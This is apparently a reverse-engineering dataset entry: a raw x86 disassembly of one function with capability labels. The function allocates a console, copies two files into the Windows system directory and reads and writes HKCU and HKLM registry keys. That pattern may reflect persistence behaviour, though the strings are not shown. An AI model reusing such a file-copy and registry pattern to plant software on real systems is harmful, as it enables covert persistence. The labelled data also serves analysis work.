Function at 0x457608
Capabilities:
Copy file
Get common file path
Set console window title

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffee0
push ebx
push esi
xor eax, eax
mov dword [ebp - 0x11c], eax
mov dword [ebp - 0x118], eax
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x120], eax
mov dword [ebp - 0x14], eax
mov eax, 0x457348
call fcn.00405ef0
xor eax, eax
push ebp
push 0x457d9c
push dword fs:[eax]
mov dword fs:[eax], esp
call sub.kernel32.dll_AllocConsole
push 0x457dac
call sub.kernel32.dll_SetConsoleTitleA
mov eax, dword [0x459c10]
xor edx, edx
call fcn.00405412
mov eax, dword [0x459c10]
call fcn.004055ce
call fcn.004027a8
mov eax, dword [0x459c10]
mov edx, 0x457dc0
call fcn.00403fec
call fcn.004056a7
call fcn.004027a8
lea edx, [ebp - 0x14]
xor eax, eax
call fcn.00402884
mov eax, dword [ebp - 0x14]
lea edx, [ebp - 0x10]
call fcn.00407ac4
mov edx, dword [ebp - 0x10]
mov eax, 0x45ab50
call fcn.00403a30
mov eax, 0x45ab4c
mov edx, pe_nt_image_headers32
call fcn.00403f88
push pe_nt_image_headers32
mov eax, dword [0x45ab4c]
call fcn.00403e1c
push eax
call sub.kernel32.dll_GetSystemDirectoryA
mov eax, dword [0x45ab4c]
call fcn.00403e1c
mov edx, eax
lea eax, [ebp - 0x114]
call fcn.00402c00
mov edx, 0x457df4
lea eax, [ebp - 0x114]
call fcn.00402948
lea edx, [ebp - 0x114]
mov eax, 0x45ab4c
call fcn.00403bfc
mov eax, 0x45ab54
mov ecx, 0x457e00
mov edx, dword [0x45ab50]
call fcn.00403ca4
mov eax, 0x45ab58
mov ecx, 0x457e00
mov edx, dword [0x45ab4c]
call fcn.00403ca4
push 0
mov eax, dword [0x45ab58]
call fcn.00403e1c
push eax
mov eax, dword [0x45ab54]
call fcn.00403e1c
push eax
call sub.kernel32.dll_CopyFileA
mov eax, 0x45ab54
mov ecx, 0x457e18
mov edx, dword [0x45ab50]
call fcn.00403ca4
mov eax, 0x45ab58
mov ecx, 0x457e18
mov edx, dword [0x45ab4c]
call fcn.00403ca4
push 0
mov eax, dword [0x45ab58]
call fcn.00403e1c
push eax
mov eax, dword [0x45ab54]
call fcn.00403e1c
push eax
call sub.kernel32.dll_CopyFileA
mov eax, dword [0x459c88]
mov eax, dword [eax]
mov ecx, dword [0x45ab50]
mov edx, 0x457e30
call fcn.0044e9e8
mov ecx, 0x80000001
mov dl, 1
mov eax, dword [0x44ee14]
call fcn.0044f6c8
mov edx, 0x457e40
call fcn.0044ec68
mov edx, 0x457e54
call fcn.0044ec68
mov ecx, 0x80000001
mov dl, 1
mov eax, dword [0x44ee14]
call fcn.0044f6c8
mov ebx, eax
mov edx, 0x457e40
mov eax, ebx
call fcn.0044ec68
mov edx, 0x457e64
call fcn.0044ec68
mov edx, 0x457e74
call fcn.0044ec68
mov edx, 0x457e84
call fcn.0044ec68
mov edx, 0x457e90
call fcn.0044ec68
push eax
lea eax, [ebp - 0x10]
mov ecx, 0x457ea0
mov edx, dword [0x45ab50]
call fcn.00403ca4
mov ecx, dword [ebp - 0x10]
mov edx, 0x457eb8
pop eax
call fcn.0044e9e8
mov ecx, 0x80000001
mov dl, 1
mov eax, dword [0x44ee14]
call fcn.0044f6c8
mov ebx, eax
mov edx, 0x457e40
mov eax, ebx
call fcn.0044ec68
mov edx, 0x457e64
call fcn.0044ec68
mov edx, 0x457e74
call fcn.0044ec68
mov edx, 0x457ecc
call fcn.0044ec68
mov edx, 0x457e90
call fcn.0044ec68
push eax
lea eax, [ebp - 0x10]
mov ecx, 0x457ed8
mov edx, dword [0x45ab50]
call fcn.00403ca4
mov ecx, dword [ebp - 0x10]
mov edx, 0x457eb8
pop eax
call fcn.0044e9e8
mov ecx, 0x80000002
mov dl, 1
mov eax, dword [0x44ee14]
call fcn.0044f6c8
mov ebx, eax
mov dword [ebx + 8], 0x2001f
mov edx, 0x457ef0
mov eax, ebx
call fcn.0044ec68
mov edx, 0x457e64
call fcn.0044ec68
mov edx, 0x457e74
call fcn.0044ec68
mov edx, 0x457e84
call fcn.0044ec68
mov ebx, eax
lea eax, [ebp - 0x10]
push eax
xor ecx, ecx
mov edx, 0x457e30
mov eax, ebx
call fcn.0044ea7c
mov edx, dword [ebp - 0x10]
mov eax, 0x45ab44
call fcn.00403a30
mov ecx, 0x80000002
mov dl, 1
mov eax, dword [0x44ee14]
call fcn.0044f6c8
mov ebx, eax
mov dword [ebx + 8], 0x2001f
mov edx, 0x457ef0
mov eax, ebx
call fcn.0044ec68
mov edx, 0x457e64
call fcn.0044ec68
mov edx, 0x457e74
call fcn.0044ec68
mov edx, 0x457ecc
call fcn.0044ec68
mov ebx, eax
lea eax, [ebp - 0x10]
push eax
xor ecx, ecx
mov edx, 0x457e30
mov eax, ebx
call fcn.0044ea7c
mov edx, dword [ebp - 0x10]
mov eax, 0x45ab48
call fcn.00403a30
mov eax, 0x457f04
call fcn.004571f8
mov eax, 0x457f18
call fcn.004571f8
mov eax, 0x457f30
call fcn.004571f8
mov eax, 0x457f48
call fcn.004571f8
cmp dword [0x45ab44], 0
je 0x457b50
lea eax, [ebp - 0x10]
mov ecx, 0x457f5c
mov edx, dword [0x45ab50]
call fcn.00403ca4
mov eax, dword [ebp - 0x10]
call fcn.0040786c
test al, al
je 0x457b50
lea eax, [ebp - 0x118]
call fcn.00456dfc
mov eax, dword [ebp - 0x118]
push eax
lea eax, [ebp - 0x10]
mov ecx, 0x457f5c
mov edx, dword [0x45ab50]
call fcn.00403ca4
mov edx, dword [ebp - 0x10]
pop eax
mov ecx, dword [eax]
call dword [ecx + 0x10]
lea eax, [ebp - 0x118]
call fcn.00456dfc
mov eax, dword [ebp - 0x118]
lea edx, [ebp - 0x11c]
mov ecx, dword [eax]
call dword [ecx + 0x20]
mov edx, dword [ebp - 0x11c]
mov eax, 0x45ab60
call fcn.00405144
mov eax, dword [0x45ab60]
mov edx, dword [eax]
call dword [edx + 0x14]
mov esi, eax
dec esi
test esi, esi
jl 0x457a60
inc esi
xor ebx, ebx
mov edx, ebx
mov eax, dword [0x45ab60]
mov ecx, dword [eax]
call dword [ecx + 0x74]
mov eax, dword [eax + 0xc]
push eax
mov edx, ebx
mov eax, dword [0x45ab60]
mov ecx, dword [eax]
call dword [ecx + 0x74]
add eax, 0xc
mov edx, dword [0x45ab44]
pop ecx
call fcn.00403ca4
inc ebx
dec esi
jne 0x457a31
lea eax, [ebp - 0x118]
call fcn.00456dfc
mov eax, dword [ebp - 0x118]
lea edx, [ebp - 0x120]
mov ecx, dword [eax]
call dword [ecx + 0x24]
mov edx, dword [ebp - 0x120]
mov eax, 0x45ab64
call fcn.00405144
mov eax, dword [0x45ab64]
mov edx, dword [eax]
call dword [edx + 0x14]
mov esi, eax
dec esi
test esi, esi
jl 0x457acf
inc esi
xor ebx, ebx
mov edx, ebx
mov eax, dword [0x45ab64]
mov ecx, dword [eax]
call dword [ecx + 0x7c]
mov eax, dword [eax + 0xc]
push eax
mov edx, ebx
mov eax, dword [0x45ab64]
mov ecx, dword [eax]
call dword [ecx + 0x7c]
add eax, 0xc
mov edx, dword [0x45ab44]
pop ecx
call fcn.00403ca4
inc ebx
dec esi
jne 0x457aa0
lea eax, [ebp - 0x118]
call fcn.00456dfc
mov eax, dword [ebp - 0x118]
push eax
lea eax, [ebp - 0x10]
mov ecx, 0x457f74
mov edx, dword [0x45ab50]
call fcn.00403ca4
mov edx, dword [ebp - 0x10]
pop eax
mov ecx, dword [eax]
call dword [ecx + 0x14]
lea eax, [ebp - 0x10]
mov ecx, 0x457f8c
mov edx, dword [0x45ab50]
call fcn.00403ca4
mov ecx, dword [ebp - 0x10]
mov eax, dword [0x459c80]
mov eax, dword [eax]
mov edx, 0x457fa4
call fcn.0044e9e8
lea eax, [ebp - 0x118]
call fcn.00456dfc
mov eax, dword [ebp - 0x118]
lea edx, [ebp - 0x11c]
mov ecx, dword [eax]
call dword [ecx + 0x20]
mov edx, dword [ebp - 0x11c]
mov eax, 0x45ab60
call fcn.00405144
cmp dword [0x45ab48], 0
je 0x457d0d
lea eax, [ebp - 0x10]
mov ecx, 0x457fbc
mov edx, dword [0x45ab50]
call fcn.00403ca4
mov eax, dword [ebp - 0x10]
call fcn.0040786c
test al, al
je 0x457d0d
lea eax, [ebp - 0x118]
call fcn.00456dfc
mov eax, dword [ebp - 0x118]
push eax
lea eax, [ebp - 0x10]
mov ecx, 0x457fbc
mov edx, dword [0x45ab50]
call fcn.00403ca4
mov edx, dword [ebp - 0x10]
pop eax
mov ecx, dword [eax]
call dword [ecx + 0x10]
lea eax, [ebp - 0x118]
call fcn.00456dfc
mov eax, dword [ebp - 0x118]
lea edx, [ebp - 0x11c]
mov ecx, dword [eax]
call dword [ecx + 0x20]
mov edx, dword [ebp - 0x11c]
mov eax, 0x45ab60
call fcn.00405144
mov eax, dword [0x45ab60]
mov edx, dword [eax]
call dword [edx + 0x14]
mov esi, eax
dec esi
test esi, esi
jl 0x457c1d
inc esi
xor ebx, ebx
mov edx, ebx
mov eax, dword [0x45ab60]
mov ecx, dword [eax]
call dword [ecx + 0x74]
mov eax, dword [eax + 0xc]
push eax
mov edx, ebx
mov eax, dword [0x45ab60]
mov ecx, dword [eax]
call dword [ecx + 0x74]
add eax, 0xc
mov edx, dword [0x45ab48]
pop ecx
call fcn.00403ca4
inc ebx
dec esi
jne 0x457bee
lea eax, [ebp - 0x118]
call fcn.00456dfc
mov eax, dword [ebp - 0x118]
lea edx, [ebp - 0x120]
mov ecx, dword [eax]
call dword [ecx + 0x24]
mov edx, dword [ebp - 0x120]
mov eax, 0x45ab64
call fcn.00405144
mov eax, dword [0x45ab64]
mov edx, dword [eax]
call dword [edx + 0x14]
mov esi, eax
dec esi
test esi, esi
jl 0x457c8c
inc esi
xor ebx, ebx
mov edx, ebx
mov eax, dword [0x45ab64]
mov ecx, dword [eax]
call dword [ecx + 0x7c]
mov eax, dword [eax + 0xc]
push eax
mov edx, ebx
mov eax, dword [0x45ab64]
mov ecx, dword [eax]
call dword [ecx + 0x7c]
add eax, 0xc
mov edx, dword [0x45ab48]
pop ecx
call fcn.00403ca4
inc ebx
dec esi
jne 0x457c5d
lea eax, [ebp - 0x118]
call fcn.00456dfc
mov eax, dword [ebp - 0x118]
push eax
lea eax, [ebp - 0x10]
mov ecx, 0x457fd4
mov edx, dword [0x45ab50]
call fcn.00403ca4
mov edx, dword [ebp - 0x10]
pop eax
mov ecx, dword [eax]
call dword [ecx + 0x14]
lea eax, [ebp - 0x10]
mov ecx, 0x457fec
mov edx, dword [0x45ab50]
call fcn.00403ca4
mov ecx, dword [ebp - 0x10]
mov eax, dword [0x459c80]
mov eax, dword [eax]
mov edx, 0x457fa4
call fcn.0044e9e8
lea eax, [ebp - 0x118]
call fcn.00456dfc
mov eax, dword [ebp - 0x118]
lea edx, [ebp - 0x11c]
mov ecx, dword [eax]
call dword [ecx + 0x20]
mov edx, dword [ebp - 0x11c]
mov eax, 0x45ab60
call fcn.00405144
mov eax, dword [0x459c80]
mov eax, dword [eax]
mov ecx, 0x309
mov edx, 0x458004
call fcn.0044e964
mov eax, 0x45ab5c
mov ecx, 0x45801c
mov edx, dword [0x45ab44]
call fcn.00403ca4
mov eax, dword [0x459c10]
mov edx, 0x458038
call fcn.00403fec
call fcn.004056a7
call fcn.004027a8
mov eax, dword [0x459c9c]
call fcn.00405564
call fcn.004027a8
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x457da3
lea eax, [ebp - 0x120]
call fcn.0040512c
lea eax, [ebp - 0x11c]
call fcn.0040512c
lea eax, [ebp - 0x118]
call fcn.0040512c
lea eax, [ebp - 0x14]
mov edx, 2
call fcn.00403a00
ret